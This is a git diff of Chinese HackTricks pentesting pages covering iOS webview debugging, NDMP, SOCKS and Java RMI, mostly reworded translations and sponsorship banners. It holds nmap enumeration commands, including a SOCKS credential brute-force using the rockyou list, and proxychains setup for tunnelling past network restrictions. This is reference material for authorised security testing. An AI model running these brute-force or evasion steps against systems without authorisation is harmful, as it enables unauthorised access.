要有效地调试iOS webviews中的网页内容,需要特定的设置,因为发送到 `console.log()` 的消息不会显示在Xcode日志中。以下是一个简化的指南,强调关键步骤和要求:
|
||||
|
||||
- **iOS设备上的准备工作**:需要在您的iOS设备上激活Safari Web Inspector。方法是转到**设置 > Safari > 高级**,并启用_Web Inspector_。
|
||||
- **iOS设备上的准备工作**:需要在您的iOS设备上激活Safari Web Inspector。方法是转到 **设置 > Safari > 高级**,并启用 _Web Inspector_。
|
||||
|
||||
- **macOS设备上的准备工作**:在您的macOS开发机器上,必须在Safari中启用开发者工具。启动Safari,访问**Safari > 首选项 > 高级**,并选择_Show Develop menu_选项。
|
||||
- **macOS设备上的准备工作**:在您的macOS开发机器上,必须在Safari中启用开发者工具。启动Safari,访问 **Safari > 首选项 > 高级**,并选择 _显示开发菜单_ 选项。
|
||||
|
||||
- **连接和调试**:连接您的iOS设备到您的macOS计算机并启动应用程序后,使用您的macOS设备上的Safari选择要调试的webview。在Safari的菜单栏中导航到_Develop_,悬停在您的iOS设备名称上以查看webview实例列表,并选择您希望检查的实例。将为此目的打开一个新的Safari Web Inspector窗口。
|
||||
- **连接和调试**:连接您的iOS设备到您的macOS计算机并启动应用程序后,使用macOS设备上的Safari选择要调试的webview。在Safari的菜单栏中导航到 _开发_,悬停在您的iOS设备名称上以查看webview实例列表,并选择您希望检查的实例。将为此目的打开一个新的Safari Web Inspector窗口。
|
||||
|
||||
然而,要注意以下限制:
|
||||
|
||||
- 使用此方法进行调试需要macOS设备,因为它依赖于Safari。
|
||||
- 只有通过Xcode加载到您的设备上的应用程序中的webviews才能进行调试。通过App Store或Apple Configurator安装的应用程序中的webviews无法以这种方式进行调试。
|
||||
- 使用此方法进行调试需要一个macOS设备,因为它依赖于Safari。
|
||||
- 只有通过Xcode加载到您的设备上的应用程序中的webviews才能够进行调试。通过App Store或Apple Configurator安装的应用程序中的webviews无法以这种方式进行调试。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
@ -283,8 +283,8 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注**我。
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# **协议信息**
|
||||
|
||||
**NDMP**,或**网络数据管理协议**,是一种旨在在网络附加存储([NAS](https://en.wikipedia.org/wiki/Network-attached_storage))设备和[备份](https://en.wikipedia.org/wiki/Backup)设备之间传输数据的协议。这样可以避免通过备份服务器本身传输数据,从而提高速度并减轻备份服务器的负载。
|
||||
来自[Wikipedia](https://en.wikipedia.org/wiki/NDMP)。
|
||||
来自[Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
||||
|
||||
> **NDMP**,或**网络数据管理协议**,是一种用于在网络附加存储\([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\)设备和[备份](https://en.wikipedia.org/wiki/Backup)设备之间传输数据的协议。这消除了通过备份服务器本身传输数据的需要,从而提高了速度并减轻了备份服务器的负担。
|
||||
|
||||
**默认端口:** 10000
|
||||
```text
|
||||
|
@ -35,14 +36,14 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**上关注我。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 基本信息
|
||||
|
||||
该协议将为您提供主机的用户名。您可能会在端口映射服务中找到这些服务,如下所示:
|
||||
此协议将为您提供主机的用户名。您可以通过端口映射服务列出此类服务,如下所示:
|
||||
|
||||
![](<../.gitbook/assets/image (231).png>)
|
||||
|
||||
|
@ -30,14 +30,14 @@ katykat potatohead:ttyp5 Sep 1 09:35 14
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,26 +1,22 @@
|
|||
# 1080 - Socks渗透测试
|
||||
# 1080 - 渗透测试 Socks
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
SOCKS是一种通过代理服务器在客户端和服务器之间交换网络数据包的Internet协议。SOCKS5可选择提供身份验证,因此只有授权用户可以访问服务器。
|
||||
|
||||
实际上,SOCKS服务器将TCP连接代理到任意IP地址,并提供了一种转发UDP数据包的方法。SOCKS在OSI模型的第5层执行。
|
||||
**SOCKS** 是一种用于在客户端和服务器之间通过代理传输数据的协议。第五版 **SOCKS5** 添加了一个可选的身份验证功能,只允许经过授权的用户访问服务器。它主要处理 TCP 连接的代理和 UDP 数据包的转发,工作在 OSI 模型的会话层(第 5 层)。
|
||||
|
||||
**默认端口:** 1080
|
||||
|
||||
|
@ -37,46 +33,14 @@ nmap -p 1080 <ip> --script socks-auth-info
|
|||
nmap --script socks-brute -p 1080 <ip>
|
||||
```
|
||||
#### 高级用法
|
||||
|
||||
In addition to basic usage, SOCKS proxies can also be used for more advanced purposes in network pentesting. Here are some examples:
|
||||
|
||||
除了基本用法外,SOCKS代理还可以用于网络渗透测试中的更高级目的。以下是一些示例:
|
||||
|
||||
##### Port Forwarding
|
||||
|
||||
##### 端口转发
|
||||
|
||||
SOCKS proxies can be used to forward traffic from one port to another. This can be useful in scenarios where direct access to a specific port is blocked, but access to the SOCKS proxy is allowed. By configuring the SOCKS proxy to forward traffic from a blocked port to an open port, it is possible to bypass the restriction and access the desired service.
|
||||
|
||||
SOCKS代理可以用于将流量从一个端口转发到另一个端口。这在直接访问特定端口被阻止,但允许访问SOCKS代理的情况下非常有用。通过配置SOCKS代理将被阻止的端口的流量转发到一个开放的端口,可以绕过限制并访问所需的服务。
|
||||
|
||||
##### Traffic Manipulation
|
||||
|
||||
##### 流量操纵
|
||||
|
||||
SOCKS proxies can also be used to manipulate network traffic. By intercepting and modifying the traffic passing through the SOCKS proxy, it is possible to perform various attacks such as packet injection, traffic redirection, and protocol manipulation. This can be particularly useful in scenarios where the target network is protected by firewalls or other security measures.
|
||||
|
||||
SOCKS代理还可以用于操纵网络流量。通过拦截和修改通过SOCKS代理传递的流量,可以执行各种攻击,如数据包注入、流量重定向和协议操纵。这在目标网络受到防火墙或其他安全措施保护的情况下尤为有用。
|
||||
|
||||
##### Proxy Chaining
|
||||
|
||||
##### 代理链
|
||||
|
||||
Multiple SOCKS proxies can be chained together to create a chain of proxies. This can be useful in scenarios where access to a specific network or service is restricted through multiple layers of proxies. By chaining SOCKS proxies, it is possible to bypass each layer of restriction and gain access to the desired network or service.
|
||||
|
||||
多个SOCKS代理可以链接在一起,形成代理链。这在通过多层代理限制对特定网络或服务的访问时非常有用。通过链接SOCKS代理,可以绕过每一层限制并获得对所需网络或服务的访问权限。
|
||||
|
||||
##### Socksification
|
||||
|
||||
##### Socksification
|
||||
|
||||
Socksification is the process of redirecting network traffic from an application through a SOCKS proxy. This can be useful in scenarios where an application does not support SOCKS proxies natively but can be configured to use a proxy at the operating system level. By socksifying an application, it is possible to route its traffic through a SOCKS proxy and take advantage of the proxy's features.
|
||||
|
||||
Socksification是将应用程序的网络流量通过SOCKS代理进行重定向的过程。这在应用程序不原生支持SOCKS代理,但可以在操作系统级别配置使用代理的情况下非常有用。通过对应用程序进行Socksification,可以将其流量路由通过SOCKS代理,并利用代理的功能。
|
||||
```bash
|
||||
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
||||
```
|
||||
#### 输出
|
||||
|
||||
#### Socks Proxy
|
||||
|
||||
Socks Proxy是一种网络协议,允许网络流量通过代理服务器转发。 Socks代理通常用于绕过防火墙限制或隐藏用户的真实IP地址。在渗透测试中,可以使用Socks代理来匿名访问目标网络或绕过安全控制。
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
1080/tcp open socks
|
||||
|
@ -88,67 +52,38 @@ PORT STATE SERVICE
|
|||
```
|
||||
## 隧道和端口转发
|
||||
|
||||
### 基本的proxychains使用
|
||||
### 基本proxychains用法
|
||||
|
||||
设置proxychains以使用socks代理
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
编辑底部并添加您的代理
|
||||
```html
|
||||
<p>Now that you have successfully set up your SOCKS proxy, you can use it to route your traffic through a remote server securely. This can help you bypass network restrictions and enhance your privacy and anonymity online.</p>
|
||||
|
||||
```markdown
|
||||
## Proxy
|
||||
<p>Remember to always use proxies responsibly and avoid engaging in any illegal activities.</p>
|
||||
|
||||
A proxy is an intermediary server that acts as a gateway between a client and the internet. It allows clients to make indirect network connections to other network services. Proxies can be used for various purposes, including anonymity, caching, content filtering, and load balancing.
|
||||
|
||||
### Types of Proxies
|
||||
|
||||
There are different types of proxies, each with its own characteristics and use cases:
|
||||
|
||||
- **HTTP Proxy**: This type of proxy is used for HTTP traffic. It can be used to intercept and modify HTTP requests and responses.
|
||||
|
||||
- **SOCKS Proxy**: SOCKS (Socket Secure) is a protocol that allows for a flexible and secure way to handle network traffic. SOCKS proxies can handle various types of traffic, including TCP, UDP, and ICMP.
|
||||
|
||||
- **Transparent Proxy**: A transparent proxy intercepts network traffic without modifying it. It is often used for caching or content filtering purposes.
|
||||
|
||||
- **Reverse Proxy**: A reverse proxy is a server that sits between clients and web servers. It can be used to distribute incoming requests to multiple servers, improve performance, and provide additional security features.
|
||||
|
||||
### Pentesting SOCKS Proxies
|
||||
|
||||
When pentesting SOCKS proxies, there are several techniques and tools that can be used:
|
||||
|
||||
- **Proxychains**: Proxychains is a tool that allows you to run any program through a proxy server. It can be used to chain multiple proxies together for increased anonymity.
|
||||
|
||||
- **Proxychains-ng**: Proxychains-ng is an updated version of Proxychains that supports multiple proxy types, including SOCKS4, SOCKS5, and HTTP.
|
||||
|
||||
- **Burp Suite**: Burp Suite is a popular web application testing tool that can be configured to use a SOCKS proxy. This allows you to intercept and modify web traffic during pentesting.
|
||||
|
||||
- **Metasploit**: Metasploit is a powerful framework for penetration testing. It includes modules that can be used to exploit vulnerabilities in SOCKS proxies.
|
||||
|
||||
- **Nmap**: Nmap is a versatile network scanning tool that can be used to discover and fingerprint SOCKS proxies.
|
||||
|
||||
Remember to always obtain proper authorization before conducting any penetration testing activities.
|
||||
<p>Happy hacking!</p>
|
||||
```
|
||||
```
|
||||
socks5 10.10.10.10 1080
|
||||
```
|
||||
使用身份验证
|
||||
使用认证
|
||||
```
|
||||
socks5 10.10.10.10 1080 username password
|
||||
```
|
||||
#### 更多信息:[隧道和端口转发](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
#### 更多信息: [隧道和端口转发](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# 1098/1099/1050 - Java RMI渗透测试 - RMI-IIOP
|
||||
# 1098/1099/1050 - 渗透测试 Java RMI - RMI-IIOP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**,由世界上**最先进的**社区工具提供支持。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
_Java远程方法调用_(_Java RMI_)是一种面向对象的_RPC_机制,允许位于一个_Java虚拟机_中的对象调用位于另一个_Java虚拟机_中的对象的方法。这使得开发者能够使用面向对象的范式编写分布式应用程序。可以在[这个blackhat演讲](https://youtu.be/t_aw1mDNhzI?t=202)中找到关于_Java RMI_的简短介绍,从攻击者的角度来看。
|
||||
_Java 远程方法调用_,或 _Java RMI_,是一种面向对象的 _RPC_ 机制,允许一个位于一个 _Java 虚拟机_中的对象调用另一个 _Java 虚拟机_中的对象上的方法。这使开发人员能够使用面向对象的范式编写分布式应用程序。可以在[此黑帽演讲](https://youtu.be/t_aw1mDNhzI?t=202)中找到从攻击者角度对 _Java RMI_ 的简短介绍。
|
||||
|
||||
**默认端口:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
|
@ -34,20 +34,20 @@ PORT STATE SERVICE VERSION
|
|||
37471/tcp open java-rmi Java RMI
|
||||
40259/tcp open ssl/java-rmi Java RMI
|
||||
```
|
||||
通常,只有默认的 _Java RMI_ 组件(_RMI 注册表_ 和 _激活系统_)绑定到常见端口。实际实现 _RMI_ 应用的 _远程对象_ 通常绑定到随机端口,如上面的输出所示。
|
||||
通常,只有默认的_Java RMI_组件(_RMI Registry_和_Activation System_)绑定到常见端口。实现实际_Java RMI_应用程序的_远程对象_通常绑定到随机端口,如上所示的输出。
|
||||
|
||||
